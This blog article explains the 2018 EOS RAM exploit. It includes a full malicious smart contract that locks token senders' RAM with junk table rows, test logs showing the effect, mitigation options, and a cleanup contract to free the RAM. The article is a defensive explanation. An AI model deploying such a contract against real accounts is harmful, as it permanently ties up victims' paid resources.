Logo
blank Skip to main content

EOS RAM Exploit: Explanation of the Vulnerability and Recovery Tips

The promise of easy money can make people do crazy things. Members of the blockchain community aren’t immune to this problem. And as the recent EOS RAM exploit shows, attackers know about this weakness of human nature and know exactly how to use it to their benefit.

In this article, Apriorit blockchain experts talk about EOS and the potential EOS.IO RAM exploit hack vulnerability. We look closer at the EOS RAM hijack and how to mitigate it, discuss possible ways to prevent such attacks, and try to recreate – for research purposes – a malicious smart contract that’s able to allocate RAM from someone else’s account. We then provide a practical solution to the problem.

What is RAM in the EOS network?

To begin, let’s take a close look at the structure of the EOS network, which is pretty unique in its design. In contrast to other blockchains, the EOS network is structured similarly to the operating system of a computer. It has system resources like Random Access Memory (RAM), CPU time, and network bandwidth, and users can reserve these resources by staking native SYS tokens.

In the EOS network, every piece of data stored in the blockchain takes up some RAM: account balances, smart contract code, data, etc. And just like in a regular operating system, EOS RAM is a limited resource. The network development team plans to implement unlimited RAM capacity in future, but for now, the scarcity of this resource causes a lot of market speculation.

In fact, RAM was being hoarded soon after the network’s launch because some users reserved more RAM than they actually needed. As a result, most of the network’s RAM is reserved, even though none of the active DApps has more than 500 users.

With some accounts having lots of free RAM that isn’t occupied with any data, it was only a matter of time before attackers turned their attention to this valuable resource. And in August 2018, an EOS.IO RAM exploit, locking free RAM resources of EOS users, was discovered. Let’s see how exactly this exploit works.

Read also:
How EOS Casinos Lost $562,000 to Smart Contract Vulnerabilities

EOS RAM exploit

In the EOS network, if RAM is occupied by any data it can’t be sold back to the network and the SYS tokens that were staked for it can’t be recovered. The new EOS vulnerability allows malicious users to occupy large amounts of RAM from the accounts of other network users. The fact that many of these victim accounts actively trade the resource makes the discovered vulnerability even more dangerous.

This is how the exploit works: hackers create a malicious contract that uses certain smart contract mechanics to fill a victim’s RAM with garbage data. As a result, the hacker can lock and steal the RAM, blocking the victim from using the resource as well as selling it back to the network.

According to Dan Larimer, the CTO of Block.one and the chief architect of the EOS cryptocurrency, the attack is “similar to vandalism” because it abuses two completely legitimate and widely used smart contract features. When used properly, these exploited features present more flexibility and power to smart contracts. However, the attackers found weak spots in the mechanisms of these features and turned them into an efficient attack tool.

Let’s look closer at each of these two vulnerable features:

The first feature allows smart contracts to automatically react to notifications, such as arbitrary token transfers, without an explicit call to the contract. This functionality is similar to the fallback function in Ethereum. But in contrast to the Ethereum network, where the fallback function is called only for ETH transfers, EOS has a much more universal implementation of this function. The Intent of Code in such notifications is to provide a reasonable reaction to an external event, such as logging data or distributing tokens.

The second feature abused by the attackers is the ability of a smart contract to claim RAM in the name of another user (i.e. the user pays for RAM, not the contract). This may sound dangerous, but there’s an important detail: a smart contract may claim RAM from another user’s account only if it has permission. This means that a smart contract can’t randomly allocate RAM from any account on the network.

An invocation of the contract has to be signed by the user, explicitly giving the contract permission to access their account. The problem is that when responding to a notification, a user signs the transaction that eventually allows the exploit to take place.

To get a better understanding of the exploit, let’s look at a potential attack scenario (see Figure 1).

EOS RAM Exploit

 

Figure 1. EOS RAM exploit scheme

The attack consists of only seven steps:

  1. Bob has a malicious smart contract deployed on his account.
  2. Bob asks Alice to transfer some SYS tokens to his account.
  3. Alice agrees and has access to the eosio.token smart contract to transfer tokens.
  4. Alice signs the transaction, giving the eosio.token contract access to her token balance.
  5. Bob’s smart contract receives the notification about the token transfer. The smart contract is executed with the privileges of the original transaction, meaning that the contract is executed with Alice’s signature.
  6. Bob’s smart contract can claim an arbitrary amount of RAM from Alice’s account.
  7. Alice’s RAM becomes locked forever.

Now let’s see if we can recreate this EOS RAM vulnerability in practice.

Related services

Blockchain-based Solution Development

Recreating the RAM exploit

To understand the mechanism of the attack and find an efficient way to mitigate it, we first need to recreate a malicious smart contract that’s able to lock unoccupied RAM in other accounts. To do so, we need to specify a filter within the action handler of the contract. Normally, you can do this with the help of the EOSIO_ABI macro. But in order to receive notifications, we have to implement the handler ourselves.

Note that if you want to handle specific types of notifications, your smart contract has to implement the same functions that you target when emulating the attack.

To run the attack, we have to implement the transfer method from the eosio.token contract, since we target the transfer of tokens in our example. Within the implementation of the transfer method, the malicious contract can simply write some junk data into RAM using a multi-index table.

Here is what our full malicious contract looks like:

C
#include <eosiolib/eosio.hpp>
using namespace eosio;
// The malicious contract
class dataStorage : public eosio::contract
{
        public:
                using contract::contract;
                ///@abi table ttab i64
                struct ttab
                {
                        uint64_t id;
                        uint64_t primary_key() const {return id;}
                        EOSLIB_SERIALIZE(ttab,(id))
                };
                typedef multi_index<N(ttab),ttab> _ttab; // The table that will take up the RAM
  
                ///@abi action
                void transfer( account_name from,
                                account_name to,
                                asset quantity,
                                std::string memo ) // This function has the same signature as the transfer function from eosio.token, so it can be invoked with an appropriate notification during a token transfer.
                {
                        _ttab ttabs(_self,_self);
  
                        uint64_t start = now() * 1000;
                        for (int i = 0; i < 1000; i++)
                        {
                                ttabs.emplace(from, [&](auto& data){ // The first parameter here specifies the account that would pay for any used RAM. In this case it is the sender of the transaction.
                                                data.id = start + i;
                                                });// Places junk data into the table
                        }
                }
};
  
extern "C" {
        void apply( uint64_t receiver, uint64_t code, uint64_t action ) {
                if( code == N(eosio.token) ) { // If the the contract is invoked as part of a notification
                        dataStorage thiscontract(receiver);
                        switch( action ) {
                                EOSIO_API( dataStorage, (transfer) ) //Handles the transfer function
                        }
                }
        }
}

To test the contract, we have to deploy it to an account and attempt to transfer some tokens from a victim account to ours. Here are some logs from a few transactions:

ShellScript
---------- 1  Two newly created accounts ----------
root@fdc20b6f2dca:/contracts# cleos get account user
permissions:
     owner     1:    1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
        active     1:    1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
memory:
     quota:       unlimited  used:      2.66 KiB
  
net bandwidth:
     used:               unlimited
     available:          unlimited
     limit:              unlimited
  
cpu bandwidth:
     used:               unlimited
     available:          unlimited
     limit:              unlimited
  
  
root@fdc20b6f2dca:/contracts# cleos get account test
permissions:
     owner     1:    1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
        active     1:    1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
memory:
     quota:       unlimited  used:      2.66 KiB
  
net bandwidth:
     used:               unlimited
     available:          unlimited
     limit:              unlimited
  
cpu bandwidth:
     used:               unlimited
     available:          unlimited
     limit:              unlimited
  
 ---------- 2  Issue some SYS to user account ----------
root@fdc20b6f2dca:/contracts# cleos push action eosio.token issue '[ "user", "100.0000 SYS", "memo" ]' -p eosio@active
executed transaction: 2708c040fae4b0ce96f3ffee09b0da102e903e32c7861003eb1ccfd07290f4a2  136 bytes  632 us
#   eosio.token <= eosio.token::transfer        {"from":"user","to":"test","quantity":"10.0000 SYS","memo":"memo"}
#          user <= eosio.token::transfer        {"from":"user","to":"test","quantity":"10.0000 SYS","memo":"memo"}
#          test <= eosio.token::transfer        {"from":"user","to":"test","quantity":"10.0000 SYS","memo":"memo"}
warning: transaction executed locally, but may not be confirmed by the network yet    ]
root@fdc20b6f2dca:/contracts# cleos get account user
permissions:
     owner     1:    1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
        active     1:    1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
memory:
     quota:       unlimited  used:      2.66 KiB
  
net bandwidth:
     used:               unlimited
     available:          unlimited
     limit:              unlimited
  
cpu bandwidth:
     used:               unlimited
     available:          unlimited
     limit:              unlimited
  
SYS balances:
     liquid:          100.0000 SYS
     staked:            0.0000 SYS
     unstaking:         0.0000 SYS
     total:           100.0000 SYS
  
  
root@fdc20b6f2dca:/contracts# cleos get account test
permissions:
     owner     1:    1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
        active     1:    1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
memory:
     quota:       unlimited  used:      2.66 KiB
  
net bandwidth:
     used:               unlimited
     available:          unlimited
     limit:              unlimited
  
cpu bandwidth:
     used:               unlimited
     available:          unlimited
     limit:              unlimited
  
 ---------- 3  Transfer some SYS to test account  the transfer has used some RAM to store the test account’s balance ----------
root@fdc20b6f2dca:/contracts# cleos push action eosio.token transfer '["user", "test", "10.0000 SYS", "memo"]' -p user@active
executed transaction: c3916c29d06c0eb15a2dda7dec4bf6fdfea1ac420ccc0cff5039d46848211d2c  136 bytes  764 us
#   eosio.token <= eosio.token::transfer        {"from":"user","to":"test","quantity":"10.0000 SYS","memo":"memo"}
#          user <= eosio.token::transfer        {"from":"user","to":"test","quantity":"10.0000 SYS","memo":"memo"}
#          test <= eosio.token::transfer        {"from":"user","to":"test","quantity":"10.0000 SYS","memo":"memo"}
warning: transaction executed locally, but may not be confirmed by the network yet    ]
root@fdc20b6f2dca:/contracts# cleos get account user
permissions:
     owner     1:    1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
        active     1:    1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
memory:
     quota:       unlimited  used:      3.02 KiB
  
net bandwidth:
     used:               unlimited
     available:          unlimited
     limit:              unlimited
  
cpu bandwidth:
     used:               unlimited
     available:          unlimited
     limit:              unlimited
  
SYS balances:
     liquid:           90.0000 SYS
     staked:            0.0000 SYS
     unstaking:         0.0000 SYS
     total:            90.0000 SYS
  
  
root@fdc20b6f2dca:/contracts# cleos get account test
permissions:
     owner     1:    1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
        active     1:    1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
memory:
     quota:       unlimited  used:      2.66 KiB
  
net bandwidth:
     used:               unlimited
     available:          unlimited
     limit:              unlimited
  
cpu bandwidth:
     used:               unlimited
     available:          unlimited
     limit:              unlimited
  
SYS balances:
     liquid:           10.0000 SYS
     staked:            0.0000 SYS
     unstaking:         0.0000 SYS
     total:            10.0000 SYS
   
 ---------- 4  Transfer again  no change, since the value was simply updated ----------
root@fdc20b6f2dca:/contracts# cleos push action eosio.token transfer '["user", "test", "10.0000 SYS", "memo"]' -p user@active
executed transaction: c3916c29d06c0eb15a2dda7dec4bf6fdfea1ac420ccc0cff5039d46848211d2c  136 bytes  764 us
#   eosio.token <= eosio.token::transfer        {"from":"user","to":"test","quantity":"10.0000 SYS","memo":"memo"}
#          user <= eosio.token::transfer        {"from":"user","to":"test","quantity":"10.0000 SYS","memo":"memo"}
#          test <= eosio.token::transfer        {"from":"user","to":"test","quantity":"10.0000 SYS","memo":"memo"}
warning: transaction executed locally, but may not be confirmed by the network yet    ]
root@fdc20b6f2dca:/contracts# cleos get account user
permissions:
     owner     1:    1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
        active     1:    1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
memory:
     quota:       unlimited  used:      3.02 KiB
  
net bandwidth:
     used:               unlimited
     available:          unlimited
     limit:              unlimited
  
cpu bandwidth:
     used:               unlimited
     available:          unlimited
     limit:              unlimited
  
SYS balances:
     liquid:           80.0000 SYS
     staked:            0.0000 SYS
     unstaking:         0.0000 SYS
     total:            80.0000 SYS
  
root@fdc20b6f2dca:/contracts# cleos get account test
permissions:
     owner     1:    1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
        active     1:    1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
memory:
     quota:       unlimited  used:      2.66 KiB
  
net bandwidth:
     used:               unlimited
     available:          unlimited
     limit:              unlimited
  
cpu bandwidth:
     used:               unlimited
     available:          unlimited
     limit:              unlimited
  
SYS balances:
     liquid:           20.0000 SYS
     staked:            0.0000 SYS
     unstaking:         0.0000 SYS
     total:            20.0000 SYS
  
 ---------- 5  Deploy the attacker contract ----------
root@fdc20b6f2dca:/contracts# cleos set contract test ./test.vulnerability/ -p test@active
root@fdc20b6f2dca:/contracts# cleos get account user
permissions:
     owner     1:    1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
        active     1:    1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
memory:
     quota:       unlimited  used:      3.02 KiB
  
net bandwidth:
     used:               unlimited
     available:          unlimited
     limit:              unlimited
  
cpu bandwidth:
     used:               unlimited
     available:          unlimited
     limit:              unlimited
  
SYS balances:
     liquid:           80.0000 SYS
     staked:            0.0000 SYS
     unstaking:         0.0000 SYS
     total:            80.0000 SYS
  
  
root@fdc20b6f2dca:/contracts# cleos get account test
permissions:
     owner     1:    1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
        active     1:    1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
memory:
     quota:       unlimited  used:      70.1 KiB
  
net bandwidth:
     used:               unlimited
     available:          unlimited
     limit:              unlimited
  
cpu bandwidth:
     used:               unlimited
     available:          unlimited
     limit:              unlimited
  
SYS balances:
     liquid:           20.0000 SYS
     staked:            0.0000 SYS
     unstaking:         0.0000 SYS
     total:            20.0000 SYS
  
 ---------- 6  Test transfer again, now with the malicious contract in place. Note that apart from using a lot of RAM, the transaction has also used a lot more CPU time than usual. ----------
root@fdc20b6f2dca:/contracts# cleos push action eosio.token transfer '["user", "test", "10.0000 SYS", "memo"]' -p user@active
executed transaction: 4589febd4ade0ba46edc168d9b838597cde952358026868c382002ecae4966cd  136 bytes  26063 us
#   eosio.token <= eosio.token::transfer        {"from":"user","to":"test","quantity":"10.0000 SYS","memo":"memo"}
#          user <= eosio.token::transfer        {"from":"user","to":"test","quantity":"10.0000 SYS","memo":"memo"}
#          test <= eosio.token::transfer        {"from":"user","to":"test","quantity":"10.0000 SYS","memo":"memo"}
warning: transaction executed locally, but may not be confirmed by the network yet    ]
root@fdc20b6f2dca:/contracts# cleos get account user
permissions:
     owner     1:    1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
        active     1:    1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
memory:
     quota:       unlimited  used:     120.3 KiB
  
net bandwidth:
     used:               unlimited
     available:          unlimited
     limit:              unlimited
  
cpu bandwidth:
     used:               unlimited
     available:          unlimited
     limit:              unlimited
  
SYS balances:
     liquid:           70.0000 SYS
     staked:            0.0000 SYS
     unstaking:         0.0000 SYS
     total:            70.0000 SYS
root@fdc20b6f2dca:/contracts# cleos get account test
permissions:
     owner     1:    1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
        active     1:    1 EOS8UcAZjkqxw7on126sXWSm6TuW1pKeLYHFAayaZPRGCsQei3MRU
memory:
     quota:       unlimited  used:      70.1 KiB
  
net bandwidth:
     used:               unlimited
     available:          unlimited
     limit:              unlimited
  
cpu bandwidth:
     used:               unlimited
     available:          unlimited
     limit:              unlimited
  
SYS balances:
     liquid:           30.0000 SYS
     staked:            0.0000 SYS
     unstaking:         0.0000 SYS
     total:            30.0000 SYS

As you can see from these logs, an ordinary transfer may use some RAM in order to store the updated balance. This amount, however, is usually insignificant. The malicious contract, on the other hand, was able to allocate more than 100 KiB of RAM. And at the current prices, 100 KiB of RAM would cost around 10 SYS, or $50.

Now it’s time to see how we can mitigate this kind of attack.

Solving the EOS RAM issue

At first glance, there are two ways we can solve this issue (see Figure 2).

EOS RAM Exploit Prevention

 

Figure 2. Preventing an EOS RAM attack

The first option is to prevent smart contracts from allocating RAM in notifications altogether. This solution has been implemented in a patch for nodeos. However, it has two major drawbacks:

  1. Forbidding RAM allocation in notifications may break some older contracts that use this functionality. Basically, you would have to remove a legitimate feature from the system.
  2. This restriction can be removed within the node’s configuration file. So some nodes may still allow memory allocation during notification handling.

The second option is to send transactions to untrusted accounts through a proxy. Since the proxy has no available RAM, the malicious contract won’t be able to lock any resources. So the proxy protects the user from the attack. This kind of proxy has been created by some community developers, and a proxy smart contract for safe transfers has already been deployed to the EOS mainnet.

This approach, however, also has its disadvantages. The main drawback of this method is that the proxy can’t be used to interact with DApps, as smart contracts won’t be able to send a response back to the user’s account and will interact with the proxy instead.

As you can see, none of these solutions is completely flawless. There still may be some accounts with vulnerable RAM. So is there a way to free any of the claimed RAM in order to use it normally?

Read also:
Application Licensing with Blockchain: EOS Network

Freeing allocated RAM

The good news is that freeing allocated RAM isn’t too difficult. The most challenging part of trying to recover allocated memory is figuring out what parts of memory to free. The tricky thing is that the memory has to be freed the same way it was allocated in the first place. So in order to free RAM, you need to know exactly how it was used.

This part can be complicated, because it requires either having access to the original source code for the attacker’s smart contract or reverse engineering the contract to retrieve the necessary data structures. Fortunately, in our case we have the original sources, so we can simply copy the multi-index table that was used to claim the RAM. But even if you have to reverse engineer the attacker’s smart contract, the cost of reverse engineering may turn out to be less than the price of the RAM you want to recover. So you should at least consider this option.

After recreating the structures, all that’s left to do is delete the multi-index table that was used before. In order to free the allocated RAM, you need to delete each entry in the table. Fortunately, you can do this with a simple loop.

So here’s what a full contract able to free the RAM claimed by our malicious contract looks like:

C
class clearStorage : public eosio::contract
{
    public:
        using contract::contract;
        ///@abi table ttab i64
        struct ttab
        {
            uint64_t id;
            uint64_t primary_key() const {return id;}
            EOSLIB_SERIALIZE(ttab,(id))
        };
        typedef multi_index<N(ttab),ttab> _ttab; // The same table structure as in the attacker’s contract
  
        ///@abi action
        void clear(account_name attacker) // Clears the RAM
        {
            _ttab ttabs(attacker, attacker);
            auto it = ttabs.begin();
            while ( it != ttabs.end()) {
                it = ttabs.erase(it); // Erases every row in the table to free the RAM
            }
        }
};
  
EOSIO_ABI(clearStorage, (clear)) // No special handlers are required, so we can use the usual EOSIO_ABI macro

Note that in order to use this smart contract, the victim has to deploy it and invoke the clean-up function.

An alternative solution

There’s at least one more way you can try to recover RAM allocated by attackers – by addressing the EOS community. The Intent of Code we mentioned before works pretty much as the constitution of the EOS network. And since malicious usage of the notification feature of smart contracts breaks the Intent of Code, a victim can at least try to appeal to the community. Chances are high that the network community will agree to resolve the matter in a more efficient way (for example, with a fork).

And to learn more about existing vulnerabilities, check out our article about different types of attacks on blockchain.

Conclusion

The recently discovered EOS RAM exploit can play a low-down trick on EOS users who have reserved additional memory in hopes of trading it at a higher rate. However, now you know what can be done to either prevent the attack from happening altogether or free allocated RAM in case of a successful attack.

Want to know more about security issues and vulnerabilities in EOS? Check out our blog for more information about the most recent hacks and exploits found in the popular blockchain networks. Feel free to contact us if you have any questions!

Tell us about your project

Send us a request for proposal! We’ll get back to you with details and estimations.

By clicking Send you give consent to processing your data

Book an Exploratory Call

Do not have any specific task for us in mind but our skills seem interesting?

Get a quick Apriorit intro to better understand our team capabilities.

Book time slot

Contact us